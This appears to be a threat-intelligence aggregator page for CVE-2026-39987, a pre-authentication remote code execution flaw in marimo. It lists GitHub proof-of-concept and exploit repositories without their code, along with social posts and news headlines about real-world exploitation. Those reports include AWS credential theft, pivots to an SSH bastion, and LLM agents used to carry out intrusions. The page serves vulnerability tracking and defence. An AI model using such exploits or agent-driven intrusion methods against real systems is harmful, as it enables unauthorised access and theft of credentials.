code github.com Arnau029 2026-11-14 13:25 UTCArnau029/CVE-2026-39987-PoCOpen source
-
code github.com 0xv01d 2026-11-13 07:45 UTC0xv01d/CVE-2026-39987Open source
-
code github.com 1nt1m4cy 2026-11-04 00:45 UTC1nt1m4cy/HTB-CohortOpen source
-
code github.com lunacysoft 2026-10-24 06:04 UTClunacysoft/CVE-2026-39987-POC-MarimoOpen source
-
code github.com dntaskmehow 2026-10-20 23:06 UTCdntaskmehow/MARABUSEOpen source
-
code github.com Industri4l-H3ll-Xpl0it3rs 2026-10-16 21:52 UTCIndustri4l-H3ll-Xpl0it3rs/CVE-2026-39987-Marimo-RCEOpen source
-
social bsky.app @getpokemon7.bsky.social 2026-10-14 20:03 UTC人間による攻撃者がMarimo RCEを悪用し、わずか8秒でSSH要塞に到達 人工知能(AI)によって脆弱性の発見から悪用までの時間が短縮され、悪意のある攻撃者にとっての参入障壁が低くなっている一方で、Sysdigの新たな調査結果によると、熟練した人間のオペレーターは最初のアクセス権を取得した後、同様に迅速に行動できることが示されています。 クラウドセキュリティ企業が指摘した事例の一つでは、攻撃者はAIエージェントを一切介さずに「手作業で作成およびデバッグした」独自のPyt…Open source
-
social bsky.app @getpokemon7.bsky.social 2026-10-14 20:00 UTCMarimoのRCE脆弱性により、ハッカーはわずか8秒でAWS認証情報を盗み出し、バスティオンホストに侵入することが可能 Sysdig脅威調査チームによると、攻撃者はmarimoの認証前リモートコード実行の重大な脆弱性を悪用し、わずか8秒でAWS認証情報を収集し、AWS Secrets ManagerからSSH秘密鍵を取得し、踏み台ホストへの認証に成功した。 この脆弱性はCVE-2026-39987として追跡されており、marimoのバージョン0.20.4までに影響を与え、…Open source
-
code github.com LaRemontada12 2026-09-27 11:07 UTCLaRemontada12/CVE-2026-39987-Marimo-RCE-SOC-DetectionOpen source
-
code github.com mfahdk 2026-09-20 12:40 UTCmfahdk/CVE-2026-39987_RCE_PoCOpen source
-
social bsky.app @eyalestrin.bsky.social 2026-09-17 13:02 UTCMachine speed, hold the AI: Hand-rolled marimo CVE-2026-39987 exploit #appsecOpen source
-
social bsky.app @patrickcmiller.bsky.social 2026-09-17 04:42 UTCHuman Attacker Exploits Marimo RCE, Reaches SSH Bastion in Eight SecondsOpen source
-
social bsky.app @postac001.bsky.social 2026-09-15 16:50 UTCMarimo RCE脆弱性を悪用し、SSHへ侵入。AIと熟練攻撃者により、発見から侵入までが高速化。Open source
-
social bsky.app @bitnewsbot.bsky.social 2026-09-15 15:35 UTCA skilled human attacker exploited a critical Marimo vulnerability (CVE-2026-39987) to pivot from a vulnerable notebook to an SSH bastion […]Open source
-
social bsky.app @devopsbriefly.bsky.social 2026-09-15 12:23 UTCSkilled attackers can pivot from Marimo to SSH bastion and AWS secrets in seconds, exploiting CVE-2026-39987 with credential pivoting and evasion beyond AI-assisted expectations.Open source
-
social bsky.app @infosecbriefly.bsky.social 2026-09-15 12:22 UTCSkilled attackers can pivot from Marimo to SSH bastion and AWS secrets in seconds, exploiting CVE-2026-39987 with credential pivoting and evasion beyond AI-assisted expectations.Open source
-
social bsky.app @privpros.bsky.social 2026-09-15 12:21 UTCSkilled attackers can pivot from Marimo to SSH bastion and AWS secrets in seconds, exploiting CVE-2026-39987 with credential pivoting and evasion beyond AI-assisted expectations.Open source
-
social bsky.app @blackhatnews.tokyo 2026-09-15 09:39 UTCMarimoの認証前RCE脆弱性、攻撃者がAWS認証情報を窃取しわずか8秒で踏み台ホストへ侵入 ある脅威アクターが、marimoに存在する認証前リモートコード実行(RCE)の脆弱性を悪用し、AWS認証情報を収集したうえでAWS Secrets ManagerからSSH秘密鍵を取得し、わずか8秒で踏み台ホストへの認証を完了させていたことが分かりました。 CVE-2026-39987として追跡されているこの脆弱性はOpen source
-
social bsky.app @hendryadrian.bsky.social 2026-09-13 19:26 UTCWeekly threat recap: credential theft, session hijacking, fast-moving exploit chains, and AI abuse patterns. Highlights include BigBear 2.0, HVNC, ClearFake/WebDAV, ChatGPT clipboard leakage, and Marimo CVE-2026-39987. #BigBear #ClearFake…Open source
-
social bsky.app @r-blueteamsec.bsky.social 2026-09-13 07:39 UTCMachine speed, hold the AI: Hand-rolled marimo CVE-2026-39987 exploitOpen source
-
social bsky.app @hendryadrian.bsky.social 2026-09-12 00:45 UTCHand-built Python tooling exploited CVE-2026-39987 in marimo, turning pre-auth WebSocket access into SSH on a bastion in 8 seconds, with AWS credential harvesting and EC2 enumeration. #marimo #AWS #LinodeOpen source
-
code github.com julichaan 2026-09-11 18:29 UTCjulichaan/CVE-2026-39987_POCOpen source
-
social bsky.app @blackhatnews.tokyo 2026-09-11 16:37 UTCマシン並みの速度、AIなし——marimo CVE-2026-39987を手作業でエクスプロイト Sysdig脅威リサーチチームAIが攻撃者の参入障壁を下げているのは、もはや議論の余地がない事実です。しかし、熟練した脅威アクターがLLM主導の競合相手に対抗し続けられるかどうかは、依然として議論の的となっています。 最近、Sysdig脅威リサーチチーム(TRT)は、単独の脅威アクターが、開いたWebSock...Open source
-
social bsky.app @cyfar.ca 2026-09-09 16:07 UTC~Recordedfuture~ 73 high-impact CVEs were actively exploited; AI-assisted operations targeted enterprise systems. - IOCs: CVE-2026-3055, CVE-2026-39987, CVE-2026-33017 - #CVE #ThreatIntel #VulnerabilityOpen source
-
code github.com Th3Purge 2026-09-08 19:44 UTCTh3Purge/CVE-2026-39987Open source
-
code github.com stapat1245 2026-09-07 20:09 UTCstapat1245/CVE-2026-39987-PoCOpen source
-
code github.com Ghxstsec 2026-09-01 21:40 UTCGhxstsec/CVE-2026-39987Open source
-
code github.com Clara-M-Grossl 2026-08-27 12:43 UTCClara-M-Grossl/Exploit-MarimoOpen source
-
code github.com dodeepsink 2026-08-20 19:25 UTCdodeepsink/CVE-2026-39987.pyOpen source
-
code github.com K3ysTr0K3R 2026-08-19 18:53 UTCK3ysTr0K3R/CVE-2026-39987Open source
-
social bsky.app @giuliosistilli.bsky.social 2026-08-16 16:15 UTCA critical Marimo vulnerability, CVE-2026-39987, was exploited within 10 hours of disclosure, with a high CVSS score of 9.3, affecting all versions prior to patch, highlighting the need for swift updates Read moreOpen source
-
code github.com matesz44 2026-08-12 19:12 UTCmatesz44/cve-2026-39987Open source
-
code github.com MADA0L 2026-08-10 02:08 UTCMADA0L/CVE-2026-39987-PocOpen source
-
code github.com iapetus12 2026-08-08 15:27 UTCiapetus12/cohort-htbOpen source
-
code github.com alreadyClosed 2026-08-07 07:04 UTCalreadyClosed/CVE-2026-39987Open source
-
code github.com Wind010 2026-08-03 06:32 UTCWind010/CVE-2026-39987_PoCOpen source
-
code github.com vanhari 2026-08-02 17:34 UTCvanhari/CVE-2026-39987Open source
-
code github.com jasonbernier 2026-08-02 14:22 UTCjasonbernier/CVE-2026-39987Open source
-
code github.com gbuyssens 2026-08-02 10:05 UTCgbuyssens/CVE-2026-39987Open source
-
news thehackernews.com 2026-07-31 07:00 UTCChinese Hacker Commands DeepSeek via Telegram to Launch Autonomous Attacks - The Hacker NewsOpen source
-
news thehackernews.com 2026-07-17 07:00 UTCNew NadMesh Botnet Hunts Exposed AI Services for Cloud Keys and Kubernetes Tokens - The Hacker NewsOpen source
-
social bsky.app @tugate.ch 2026-06-21 16:22 UTCPlataforma Marimo sofre falha crítica que permite acesso a servidores sem credenciais. A vulnerabilidade CVE-2026-39987 foi ativamente explorada em menos de dez horas após divulgação pública 🔒 #falha #plataforma #semOpen source
-
social bsky.app @flipboardbr.flipboard.com.ap.brid.gy 2026-06-21 12:38 UTCFalha crítica em plataforma Python permite invasão remota sem credenciais https://www.tecmundo.com.br/seguranca/413535-falha-critica-em-plataforma-python-permite-invasao-remota-sem-credenciais.htm?utm_source=flipboard&utm_medium=activitypu…Open source
-
social bsky.app @tecmundo.com.br.web.brid.gy 2026-06-21 12:00 UTCOpen source
-
social bsky.app @pmloik.bsky.social 2026-06-18 02:31 UTCTop 3 CVE for last 7 days: CVE-2026-35273: 64 interactions CVE-2026-54420: 26 interactions CVE-2026-39987: 20 interactions Top 3 CVE for yesterday: CVE-2026-9697: 16 interactions CVE-2026-50656: 13 interactions CVE-2026-42824: 11 interacti…Open source
-
social bsky.app @pmloik.bsky.social 2026-06-16 02:31 UTCTop 3 CVE for last 7 days: CVE-2026-35273: 57 interactions CVE-2026-11645: 30 interactions CVE-2025-10263: 25 interactions Top 3 CVE for yesterday: CVE-2026-39987: 18 interactions CVE-2026-0257: 7 interactions CVE-2026-12221: 6 interactionsOpen source
-
social bsky.app @robsongfreire.bsky.social 2026-06-15 11:24 UTCE não em uma armadilha digital. O agente de IA explorou a vulnerabilidade CVE-2026-39987 em um notebook Marimo para obter acesso inicial. A partir daí, extraiu credenciais da Amazon Web Services, localizou e usou uma chave privada de acess…Open source
-
social bsky.app @ai-nerd.bsky.social 2026-06-14 10:44 UTCan llm agent ran a whole intrusion on its own, marimo CVE to a dumped postgres db in under an hour, four pivots sysdig says it's the first they've caught in the wild https://www.sysdig.com/blog/ai-agent-at-the-wheel-how-an-attacker-used-ll…Open source
-
social bsky.app @patrickcmiller.bsky.social 2026-06-11 21:12 UTCAttackers Use LLM Agent for Post-Exploitation After Marimo CVE-2026-39987 Exploit thehackernews.com/2026/05/atta...Open source
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-39987 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/marimo-team/marimo/pull/9098 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/marimo-team/marimo/commit/c24d4806398f30be6b12acd6c60d1d7c68cfd12a |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-39987 |
| sysdig.com |
NVD API
Exploit
Third Party Advisory
|
https://www.sysdig.com/blog/marimo-oss-python-notebook-rce-from-disclosure-to-exploitation-in-under-10-hours |